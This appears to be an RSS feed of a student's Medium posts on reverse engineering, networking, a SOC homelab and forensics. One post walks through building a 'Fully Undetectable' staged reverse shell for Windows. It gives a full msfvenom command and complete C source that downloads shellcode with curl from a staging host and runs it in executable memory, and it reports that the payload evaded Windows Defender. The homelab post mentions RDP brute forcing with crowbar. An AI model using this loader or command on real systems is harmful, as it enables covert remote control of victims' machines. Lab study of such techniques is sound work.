<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Salman Ahmed on Medium]]></title>
        <description><![CDATA[Stories by Salman Ahmed on Medium]]></description>
        <link>https://medium.com/@salmanahmed69890?source=rss-b2efbbcccf0e------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*myVxjWM-o6SA6T8b_7SSzw.jpeg</url>
            <title>Stories by Salman Ahmed on Medium</title>
            <link>https://medium.com/@salmanahmed69890?source=rss-b2efbbcccf0e------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 30 Nov 2026 19:31:12 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@salmanahmed69890/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Reversing Lab Challenge Writeup]]></title>
            <link>https://salmanahmed69890.medium.com/reversing-lab-challenge-writeup-669990998bb9?source=rss-b2efbbcccf0e------2</link>
            <guid isPermaLink="false">https://medium.com/p/669990998bb9</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[reverse-engineering]]></category>
            <category><![CDATA[debugging]]></category>
            <category><![CDATA[malware-analysis]]></category>
            <dc:creator><![CDATA[Salman Ahmed]]></dc:creator>
            <pubDate>Sun, 16 Nov 2025 16:18:02 GMT</pubDate>
            <atom:updated>2025-11-16T16:18:02.753Z</atom:updated>
            <content:encoded><![CDATA[<h3>Introduction</h3><p>This reverse engineering challenge involved analyzing a 64‑bit Linux executable to uncover its internal behavior, identify hidden passwords, and understand how user input is processed. Using a combination of industry‑standard tools including <strong>file</strong> for binary identification, <strong>ldd</strong> for library inspection, <strong>gdb</strong> for dynamic debugging and breakpoint analysis, and <strong>Ghidra</strong> for static decompilation, we systematically examined the program’s structure and logic. The objectives included determining the executable format and architecture, locating key functions such as main, analyzing function calls, extracting plaintext and encoded passwords, and identifying the XOR‑based encoding mechanism used for the final password. This structured approach demonstrates the practical workflow of reverse engineering through static and dynamic analysis techniques.</p><h3>Writeup</h3><p><strong>Question 1: What is the file format of the executable?</strong></p><p><strong>Answer:</strong></p><p>By running <strong>file</strong> command on the “challenge” file, we see that it is a Linux based 64-bit dynamically linked executable.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*XtdQuAsfn94jLDYH7sBskQ.png" /></figure><p><strong>Question 2: What is the CPU architecture of the executable?</strong></p><p><strong>Answer:</strong></p><p>Again, by viewing the output of the <strong>file</strong> command, we see that the CPU architecture is <strong>64-bit.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*MXV6xvduperKZvhnkXK4ig.png" /></figure><p><strong>Quesiton 3: What library is used to read lines for user answers? (’ldd’ may help)</strong></p><p><strong>Answer:</strong></p><p>Running <strong>ldd</strong> on the challenge file, we see that the library <strong>“libreadline.so.8”</strong> is used to read lines.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*6_zkaUkefnowqxFC7x0ziQ.png" /></figure><p><strong>Question 4: What is the address of the ‘main‘ function? (’gdb’ may help) (10 pts)</strong></p><p><strong>Answer:</strong></p><p>Using <strong>gdb</strong>, we debug the application and put a breakpoint at the main function to find its address. The address is <strong>0x0000000000401176</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*y18MZIyZKrbMFIhXsymBFw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*NC2NgGV09S1PWqJ8Mp2KIw.png" /></figure><p><strong>Question 5: How many calls to ‘puts‘ are there in ‘main‘? (ghidra may help) (5 pts)</strong></p><p><strong>Answer:</strong></p><p>After decompiling the challenge file in <strong>ghidra</strong>, we see that there are 5 calls to the puts() function in main.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*UqoXiFRYKxsNQXmHrQBXUw.png" /></figure><p><strong>Question 6: What is the first password? (10 pts)</strong></p><p><strong>Answer:</strong></p><p>By, analyzing the decompiled <strong>exam() </strong>function, we see that the first password is “<strong>PasswordNumeroUno</strong>”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*xiNmvalpMtcPSjC_qDbcJg.png" /></figure><p><strong>Question 7: What is the reversed form of the second password? (10 pts)</strong></p><p><strong>Answer:</strong></p><p><strong>‘0wTdr0wss4P’</strong></p><p>After analyzing the decompiled code of the exam() function, we see that the second password is reversed and then compared to the user’s input. So, to find the password, we set a breakpoint on the second strcmp() function call in the exam() function using <strong>gdb.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*9KiL2P5O7Il_TdlCmcvSpg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/308/1*NMGPgWODP2PdU__ifOKSHQ.png" /></figure><p>Now, running the program and waiting for the break to occur.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*JLHhydatsbadt1PdKHH8Ew.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*1mbf0rhoniUSZp9u65mg_g.png" /></figure><p>Now, reversing this using python.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/352/1*aRq14oDkwowyldjxbCTOwQ.png" /></figure><p>So, the reversed password is ‘0wTdr0wss4P’.</p><p><strong>Question 8: What is the real second password? (15 pts)</strong></p><p><strong>Answer:</strong></p><p>From the answer above, we see that in the call to strcmp(), the user input is compared to the second password ‘<strong>P4ssw0rdTw0</strong>’.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*1mbf0rhoniUSZp9u65mg_g.png" /></figure><p><strong>Quesiton 9: What is the XOR key used to encode the third password? (10 pts)</strong></p><p><strong>Answer:</strong></p><p><strong>0x13 or 19 in decimal</strong></p><p>Looking at the xor() function in ghidra, we see that 4 parameters are passed to it. However, the XOR operation is applied in each iteration with the 4th parameter.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/564/1*wwT4X8r5iawmS_I4vC3ROQ.png" /></figure><p>To find the value of param_4 i.e the XOR key, we go back to the exam() function’s decompilation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*JXl311w8mRB0_-fN9eME3A.png" /></figure><p>We see that 0x13 is passed as the key parameter whose value is 0x13.</p><p>We can verify this by performing XOR of each character of the string passed to the function with 13. The string passed is stored in 0x404070.</p><p>To find this string’s value using <strong>gdb</strong>, we disassemble the exam function again.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/594/1*Di5AaGh30kIUFux5CDYEXw.png" /></figure><p>Now, place a break at exam+215 and examine the contents of this address to find the value.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/488/1*COySNfAoPoQooNB-0sgSng.png" /></figure><p>Now, using CyberChef to decrypt.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*hh2cQI8FfzDDeG9a6xbCZQ.png" /></figure><p>So we can see that the key’s value is 0x13 or 19 in decimal.</p><p><strong>Question 10: What is the third password?</strong></p><p><strong>Answer:</strong></p><p>The final password is “ThirdAndFinal!!!”</p><p>To find the value of the third password, we place a breakpoint at the last strcmp function call and see what the input is being compared to.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/280/1*4ab--axFltV_hp3x5-wsgQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/557/1*4NND5KlkuG1D-sPtqu2e6g.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=669990998bb9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Fully Undetectable Reverse Shell using Staged Payload on Windows Systems]]></title>
            <link>https://salmanahmed69890.medium.com/fully-undetectable-reverse-shell-using-staged-payload-on-windows-systems-8b26c1aef443?source=rss-b2efbbcccf0e------2</link>
            <guid isPermaLink="false">https://medium.com/p/8b26c1aef443</guid>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[exploitation]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[offensive-security]]></category>
            <dc:creator><![CDATA[Salman Ahmed]]></dc:creator>
            <pubDate>Sun, 16 Nov 2025 14:56:41 GMT</pubDate>
            <atom:updated>2025-11-16T14:56:41.131Z</atom:updated>
            <content:encoded><![CDATA[<p>This semester project was possible due to the work done by <a href="https://medium.com/u/35323664a4f9">Lsec</a>.</p><h3>Introduction</h3><p>In the realm of cybersecurity, the constant evolution of threat tactics necessitates advanced countermeasures. This project explores the development of a Fully Undetectable (FUD) reverse shell using a staged payload on Windows systems. A reverse shell, a common tool in penetration testing, allows an attacker to gain remote control over a target system. By employing a staged payload approach, we aim to enhance stealth capabilities and evade detection by traditional security mechanisms. This investigation underscores the importance of understanding sophisticated attack vectors to better fortify defenses against them.</p><h3>Goal</h3><p>The primary goal of this project is to develop and demonstrate a Fully Undetectable (FUD) reverse shell using a staged payload on Windows systems. This involves creating a payload that can evade detection by standard antivirus software and security mechanisms, establishing a covert communication channel to the attacker’s control server, and successfully gaining remote control over the target machine. The project aims to highlight the intricacies of modern cybersecurity threats and the importance of advanced defensive strategies.</p><h3>Overview of Scenario</h3><p>The illustration below gives an overview of the scenario around which the project is designed.</p><h3>Lab Setup</h3><p>The lab environment consists of three Virtual Machines</p><ol><li><strong>Windows Testing Machine: </strong>This machine is intended for developing and testing the exploits. All security features of Windows are disabled on this machine.</li><li><strong>Windows Victim Machine: </strong>This machine is intended for real world field testing of the exploit. This machine has <strong>Real Time Protection </strong>turned on. <strong>Automatic Sample Submission</strong> is turned off so that the exploit does not get added to AV vendors’ signature database.</li><li><strong>Kali Linux Staging and Listening Server: </strong>This machine hosts the <strong>Staged Payload</strong> and listens for inbound reverse shells.</li></ol><h3>Implementation Steps and Results</h3><p>The following section details all the steps required to replicate the results along with screenshots.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/619/1*tC00U1-10djdc7lKvAX63w.png" /></figure><h3>Generating the Shellcode on the Kali C2 Server</h3><p>First of all, we generate the shellcode using MSFVenom.</p><pre>msfvenom -p windows/x64/shell_reverse_tcp LHOST=eth0 LPORT=443 -f raw -o code.bin</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*nesgofsMcS_thTjUrPGPmQ.png" /><figcaption>Shellcode generation output</figcaption></figure><h3>Writing and Compiling the Payload on the Testing Machine</h3><p>Now, we have to write the payload on the Testing Machine using C. Then we compile it, so it is executable on Windows systems.</p><pre>#include &lt;stdio.h&gt;<br>#include &lt;stdlib.h&gt;<br>#include &lt;string.h&gt;<br>#include &lt;windows.h&gt;int main()<br>{<br>FILE *fpipe;<br>char *command = &quot;curl http://10.0.2.15:8000/code.bin&quot;;<br>char c = 0;<br>unsigned char code[460];<br>int counter = 0;if (0 == (fpipe = (FILE*)popen(command, &quot;r&quot;)))<br>{<br>perror(&quot;popen() failed.&quot;);<br>exit(EXIT_FAILURE);<br>}while (fread(&amp;c, sizeof c, 1, fpipe))<br>{<br>code[counter] = c;<br>printf(&quot;%c&quot;, code[counter]);<br>counter = counter + 1;<br>}pclose(fpipe);<br>void *exec = VirtualAlloc(0, sizeof code, MEM_COMMIT, PAGE_EXECUTE_READWRITE);<br>memcpy(exec, code, sizeof code);<br>((void(*)())exec)();<br>return 0;}</pre><h3>Summary of Code</h3><p>This program downloads a binary payload from a specified URL using curl, stores it in memory, and then executes it directly. This is a common technique used in creating reverse shells or executing malicious code while attempting to evade detection by loading the code dynamically and executing it in memory.</p><h3>Detailed Explanation</h3><h4>1. Include Headers</h4><pre>#include &lt;stdio.h&gt;<br>#include &lt;stdlib.h&gt;<br>#include &lt;string.h&gt;<br>#include &lt;windows.h&gt;</pre><p>These headers provide necessary functions and definitions for standard input/output operations, memory management, string manipulation, and Windows API functions.</p><h4>2. Variable Declarations</h4><pre>FILE *fpipe;<br>char *command = &quot;curl http://10.0.2.15:8000/code.bin&quot;;<br>char c = 0;<br>unsigned char code[460];</pre><ul><li><strong>FILE *fpipe;</strong> is a file pointer used to read the output of a command.</li><li><strong>char *command</strong> holds the shell command to download the binary payload using <strong>curl.</strong></li><li><strong>char c = 0;</strong> is a temporary variable for reading each byte of the payload.</li><li><strong>unsigned char code[460];</strong> is an array to store the downloaded binary shellcode payload.</li><li><strong>int counter = 0;</strong> is used to track the number of bytes read.</li></ul><h4>3. Command Execution</h4><pre>if (0 == (fpipe = (FILE*)popen(command, &quot;r&quot;)))<br>{<br>perror(&quot;popen() failed.&quot;);<br>exit(EXIT_FAILURE);<br>}</pre><p>● The <strong>popen</strong> function runs the <strong>curl</strong> command and opens a pipe to read its output.</p><p>● If <strong>popen</strong> fails, an error message is printed and the program exits.</p><h4>4. Read Shellcode into buffer</h4><pre>while (fread(&amp;c, sizeof c, 1, fpipe)) { code[counter] = c; printf(&quot;%c&quot;, code[counter]); counter = counter + 1; }</pre><p>● This loop reads the output of the <strong>curl</strong> command byte by byte.</p><p>● Each byte is stored in the code array.</p><p>● The byte is also printed to the console.</p><p>● <strong>counter </strong>is incremented after each byte is read.</p><h4>5. Allocate Memory and Execute Shellcode</h4><pre>void *exec = VirtualAlloc(0, sizeof code, MEM_COMMIT, PAGE_EXECUTE_READWRITE);<br>memcpy(exec, code, sizeof code);<br>((void(*)())exec)();</pre><p>● <strong>VirtualAlloc</strong> allocates memory for the shellcode payload with execute, read, and write permissions.</p><p>● <strong>memcpy</strong> copies the downloaded shellcode payload into the allocated memory.</p><p>● The shellcode payload is executed by casting the allocated memory to a function pointer and calling it.</p><h3>Compiling the Code</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/497/1*qPqKbwk4Zxk0eTopa4iRWQ.png" /><figcaption>Code compilation output</figcaption></figure><h3>Sending Payload to C2 Server</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/630/1*1FwCFYs_uBFQMvpZHi40CA.png" /></figure><h3>Sending Payload to Victim</h3><p>The next step is to deliver the payload to the victim.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/630/1*Z3L83YaUq0SvWw60NLNOOQ.png" /><figcaption>Downloading the payload</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/488/1*qoKxktKanjOu1UphBM2NUA.png" /><figcaption>Payload untouched by Windows Defender</figcaption></figure><p>Upon downloading, the payload is not flagged by Windows Defender as malicious even though Real Time Protection is turned on.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/581/1*Q-jXnZ4JYbqjh4Rr836t5A.png" /></figure><h3>Starting the C2 server</h3><p>The C2 server consists of a Reverse Shell listener and a simple HTTP server that serves the shellcode.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/626/1*WSSY1ZcBGMQMivBZqSrniw.png" /></figure><h3>Running the Payload</h3><p>Once the victim runs the payload, we get a reverse shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/626/1*6io7_5yMy1vC53331gId8A.png" /></figure><h3>Results</h3><p>The project yielded successful results in developing and executing a Fully Undetectable (FUD) reverse shell using a staged payload on Windows systems. The key findings and outcomes are summarized as follows:</p><p>● <strong>Payload Development and Compilation</strong>: The payload was written in C and compiled using gcc on the Windows Testing Machine. The compilation process was straightforward, and the resulting binary was executable on Windows systems.</p><p><strong>Delivery and Execution of Payload</strong>: The payload was delivered to the Windows Victim Machine via HTTP using the curl command. Despite Real-Time Protection being enabled on the victim machine, the payload was not flagged as malicious, confirming its undetectable nature.</p><p><strong>Establishing Reverse Shell Connection</strong>: Upon execution of the payload on the victim machine, a reverse shell connection was successfully established to the Kali Linux Staging and Listening Server. This connection provided remote control over the victim machine, demonstrating the effectiveness of the staged payload approach.</p><h3>Conclusion</h3><p>This project successfully developed a Fully Undetectable (FUD) reverse shell using a staged payload on Windows systems, evading standard antivirus detection. By setting up a controlled lab environment, we demonstrated the payload’s stealth and efficacy. Despite the victim machine’s Real-Time Protection, our payload remained undetected, highlighting the sophistication of modern threats. This project emphasizes the critical need for advanced defensive strategies and ongoing research in network security to counteract such vulnerabilities effectively.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8b26c1aef443" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Computer Networks Final Project Writeup]]></title>
            <link>https://salmanahmed69890.medium.com/computer-networks-final-project-writeup-b7794fcf75a8?source=rss-b2efbbcccf0e------2</link>
            <guid isPermaLink="false">https://medium.com/p/b7794fcf75a8</guid>
            <category><![CDATA[information-technology]]></category>
            <category><![CDATA[homelab]]></category>
            <category><![CDATA[computer-networking]]></category>
            <category><![CDATA[cisco]]></category>
            <category><![CDATA[ccna]]></category>
            <dc:creator><![CDATA[Salman Ahmed]]></dc:creator>
            <pubDate>Sun, 16 Nov 2025 14:30:02 GMT</pubDate>
            <atom:updated>2025-11-16T14:30:02.249Z</atom:updated>
            <content:encoded><![CDATA[<h3>Final Project: Enterprise Network Design and Implementation</h3><p><strong>Scenario:</strong> You are the Network Administrator for a multi-branch organization. You are required to design, simulate, and secure a network connecting two main branches (represented by Router 1 and Router 2) and a Server Farm. You must implement dynamic routing, secure remote management, Network Address Translation (NAT), and traffic filtering policies.</p><p><strong>Topology Requirements:</strong></p><ul><li>Two Routers (R1 and R2) connected via a WAN link.</li><li>Four Switches (S1, S2, S3, S4).</li><li>End devices including multiple PCs and a Server.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*TirK7kQyvk3uAsMNQPr11w.png" /><figcaption>Topology Diagram</figcaption></figure><h3>Task 1: Basic Configuration &amp; Device Hardening</h3><p>On all Routers and Switches, perform the following basic configurations:</p><p><strong>Hostnames:</strong> Set hostnames as per the topology (R1, R2, S1, S2, etc.).</p><p><strong>Security:</strong></p><ul><li>Set the <strong>Enable Secret</strong> password to your first name.</li><li>Set the <strong>Console Line</strong> password to ahmed and enable login.</li><li>Enable <strong>Service Password Encryption</strong> to encrypt plain text passwords.</li></ul><p><strong>Banners:</strong></p><ul><li>Configure a Message of the Day (MOTD) banner reading: #Unauthorized access is prohibited#.</li></ul><p><strong>Remote Management (SSH):</strong></p><ul><li>Configure SSH Version 2 on the routers.</li><li>Domain name: cn.com.</li><li>Create a local user admin with secret password admin1pass.</li><li>Generate crypto keys with a modulus of <strong>1024 bits</strong>.</li></ul><h3>Task 2: IP Addressing</h3><p>Configure the interfaces on all devices using the IP scheme below where X is your registration ID.</p><ul><li><strong>R1 G0/0 (WAN):</strong> 198.51.X.1/30</li><li><strong>R1 G0/1 (LAN):</strong> 192.168.X.1/24</li><li><strong>R1 G0/2 (LAN):</strong> 64.100.X.1/29</li><li><strong>R2 G0/0 (WAN):</strong> 198.51.X.2/30</li><li><strong>R2 G0/1 (LAN):</strong> 172.16.X.1/24</li><li><strong>R2 G0/2 (Server Farm):</strong> 209.165.X.129/27</li><li><strong>Switches:</strong> Configure the management VLAN (Vlan1) with the appropriate IP from the subnet and set the Default Gateway.</li></ul><h3>Task 3: Dynamic Routing</h3><p>Implement <strong>RIP Version 2</strong> on both Router 1 and Router 2 to ensure full connectivity between all networks.</p><ul><li>Advertise all directly connected networks.</li><li>Disable auto-summary to support classless routing.</li></ul><h3>Task 4: Network Address Translation (NAT)</h3><p>Configure the following NAT services on <strong>Router 1</strong>:</p><ol><li><strong>Static NAT:</strong> Map the internal private IP 192.168.X.10 to the public IP 64.100.X.7 to allow outside access to a specific internal resource.</li><li><strong>Dynamic NAT / PAT (Overload):</strong> Create a standard Access Control List (ACL 1) to permit traffic from the 172.16.X.0/24 network. Configure NAT Overload to translate this traffic using the interface IP of G0/1.</li></ol><h3>Task 5: Access Control Lists (ACLs)</h3><p>Configure security policies on <strong>Router 2</strong> to filter traffic:</p><ol><li>Create an Extended Access List (Number 100).</li><li><strong>Deny</strong> HTTP traffic (TCP port 80/WWW) from Host 64.100.42.5 to any destination.</li><li><strong>Permit</strong> all other IP traffic.</li><li>Apply this ACL inbound on the interface connected to the Server network (G0/2).</li></ol><h3>Solution</h3><p><strong>PC-A</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*vBi83KAmqFKqi7zmVo9z8Q.png" /></figure><p><strong>PC-B</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*hRnFtEiCMjiKjdzkBoX6rA.png" /></figure><p><strong>PC-C</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*iN_F0N2BqA-PGIXestTTug.png" /></figure><p><strong>Server</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*NGt1djyjvEAvDs5DjIKB9Q.png" /></figure><p><strong>Router 1 Configuration</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/426/1*BZzudmIYL5dRub3Arf6Ilw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/595/1*H-08q-jNP2aT10rGQulQJw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/474/1*HkHb7UePWa7EHqOJfvjl5g.png" /></figure><p><strong>Router 2 Configuration</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/475/1*NHNfj_7EwsvZzTHyq_fNcA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/592/1*ZGo3fTwXl38eRFlu4uyTog.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/523/1*KUVgCMugGcgdFzJVvdeJOQ.png" /></figure><p><strong>Switch 1 Configuration</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/501/1*ah58DPofCkJxyZ99xmJPlQ.png" /></figure><p><strong>Switch 2 Configuration</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/530/1*NhAqGWWWOymVO3JXyiLiNg.png" /></figure><p><strong>Switch 3 Configuration</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/1*IXrWNcqHk_tCn1aEwInsug.png" /></figure><p><strong>Switch 4 Configuration</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/555/1*8iOxMJQ8O0rPaAHUNzzarw.png" /></figure><p><strong>R1 Router RIP</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/304/1*u4Uh1pLt1TntBWo6Vgh6Ng.png" /></figure><p><strong>R2 Router RIP</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/356/1*c05c83BWoXqvxlHiakMGyg.png" /></figure><p><strong>R1 ACL Configuration</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/426/1*V94WDMZQc85Er_Pn3XFjIA.png" /></figure><p><strong>R2 ACL Configuration</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/483/1*e6e9te7Uhf89PKDn34EVTQ.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b7794fcf75a8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Setting Up A SOC Homelab with Active Directory and Wazuh]]></title>
            <link>https://salmanahmed69890.medium.com/setting-up-a-soc-homelab-with-active-directory-and-wazuh-af76687b271f?source=rss-b2efbbcccf0e------2</link>
            <guid isPermaLink="false">https://medium.com/p/af76687b271f</guid>
            <category><![CDATA[active-directory]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[mitre-attack]]></category>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[wazuh]]></category>
            <dc:creator><![CDATA[Salman Ahmed]]></dc:creator>
            <pubDate>Sun, 15 Jun 2025 13:57:01 GMT</pubDate>
            <atom:updated>2025-06-15T13:57:01.362Z</atom:updated>
            <content:encoded><![CDATA[<p>This project served as an initial step in learning Security Engineering. Setting up a home lab with elements such as Active Directory, Wazuh, and Sysmon helped me learn more about network attacks and defense.</p><p>All of this was possible because of the great free content put out by Steven over at MYDFIR (<a href="https://www.linkedin.com/company/mydfir/">https://www.linkedin.com/company/mydfir/</a>).</p><p><strong>Lab Diagram</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/677/1*Vxnd31fSTUYDnMGX8aBzSw.png" /></figure><h3>What is Active Directory?</h3><p>Active Directory (AD) is a database and set of services that connect users with the network resources they need to get their work done.</p><p>The database (or directory) contains critical information about your environment, including what users and computers there are and who’s allowed to do what. For example, the database might list 100 user accounts with details like each person’s job title, phone number and password. It will also record their permissions.</p><p>The services control much of the activity that goes on in your IT environment. In particular, they make sure each person is who they claim to be (authentication), usually by checking the user ID and password they enter, and allow them to access only the data they’re allowed to use (authorization).</p><h3>How does Active Directory work?</h3><p>The main Active Directory service is Active Directory Domain Services (AD DS), which is part of the Windows Server operating system. The servers that run AD DS are called domain controllers (DCs). Organizations normally have multiple DCs, and each one has a copy of the directory for the entire domain. Changes made to the directory on one domain controller — such as password update or the deletion of a user account — are replicated to the other DCs so they all stay up to date. A Global Catalog server is a DC that stores a complete copy of all objects in the directory of its domain and a partial copy of all objects of all other domains in the forest; this enables users and applications to find objects in any domain of their forest. Desktops, laptops and other devices running Windows (rather than Windows Server) can be part of an Active Directory environment but they do not run AD DS. AD DS relies on several established protocols and standards, including LDAP (Lightweight Directory Access Protocol), Kerberos and DNS (Domain Name System).</p><p>It’s important to understand that Active Directory is only for on-premises Microsoft environments. Microsoft environments in the cloud use Azure Active Directory, which serves the same purposes as its on-prem namesake. AD and Azure AD are separate but can work together to some degree if your organization has both on-premises and cloud IT environments (a hybrid deployment).</p><h3>Lab Setup</h3><p>Hypvervisor: Oracle Virtualbox<br>Active Directory Domain Controller: Windows Server 2022<br>Wazuh Server: Ubuntu Desktop 22.04 LTS <br>Victim Machine: Windows 10 <br>Attacker Machine: Kali Linux 2024.1</p><h3>Setting up Wazuh</h3><p>To set up Wazuh, I simply used the quickstart guide from Wazuh’s official documentation. The process was quite straight forward and automated for the most part.</p><h3>Setting up Agents</h3><p>The next step was to set up Wazuh agents on the Domain Controller and the Target Windows Machine. To do this, I simply used the Agents dashboard available on Wazuh and used the commands generated on the machines to set up the agents.</p><h3>Setting up Sysmon</h3><p>To set up Sysmon on both Windows machines, I started by downloading Sysmon onto the target machines. The guide I was following suggested that I use Olaf’s Sysmon Modular XML file available on GitHub. So I started Sysmon using this command</p><pre>Sysmon64.exe -i sysmonmodularconfig.xml</pre><h3>Configuring Wazuh Agents to use Windows Event Log information</h3><p>To get the Wazuh agents on the Windows machines to feed the log information to Wazuh, I referenced the documentation and edited the `ossec.conf` file to include the following lines.</p><pre>&lt;localfile&gt;<br>  &lt;location&gt;Security&lt;/location&gt;<br>  &lt;log_format&gt;eventlog&lt;/log_format&gt;<br>&lt;/localfile&gt;</pre><h3>Configuring Active Directory Services on the Windows Server and Promoting it to Domain Controller</h3><p>For the next part, I configured Active Directory Domain Services on the Windows server using the Server Manager and then promoted it to Domain Controller.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/946/1*LxAWCFW_n_uCj-eSwQdmPA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/899/1*AGcbKfSyHD3HMgm533qcxA.png" /></figure><p>Once the active directory services were set up. I set up two new Organizational Units, IT and HR, and added two users, Terry Smith and Jenny Smith.</p><p>After doing this, I joined my Target PC to the domain.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/908/1*u1Fsayth_ut8OECRO9TvhA.png" /></figure><h3>RDP Bruteforce</h3><p>I enabled RDP on the Windows Target Machine and added jsmith and tsmtih to the users. Then I used `crowbar` on Kali Linux to perform a brute force attack. This generated a number of events on Wazuh which I then investigated.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1022/1*XwwWLGW8XcyHWsc-iOtdGw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OeZNCWKC9-JolqGzHoaerQ.png" /></figure><h3>Installing Atomic Red Team on Target Machine and running Atomic Tests</h3><p>Next, I installed Atomic Red Team on the target machine and ran the T1136.001 test, which tried to create a local account on the system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/868/1*TXQylN86_EpjnKJWgS6nqg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/951/1*HxearDmp3yvWkAfoKNtMjQ.png" /></figure><p>I learned a lot through this project. Especially Active Directory, Wazuh, Atomic Red Team and the MITRE Attack Framework.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=af76687b271f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[DFRWS 2008 Writeup]]></title>
            <link>https://salmanahmed69890.medium.com/dfrws-2008-writeup-e0eeb9a3d444?source=rss-b2efbbcccf0e------2</link>
            <guid isPermaLink="false">https://medium.com/p/e0eeb9a3d444</guid>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[digital-forensics]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Salman Ahmed]]></dc:creator>
            <pubDate>Sun, 15 Jun 2025 13:38:56 GMT</pubDate>
            <atom:updated>2025-06-15T13:38:56.177Z</atom:updated>
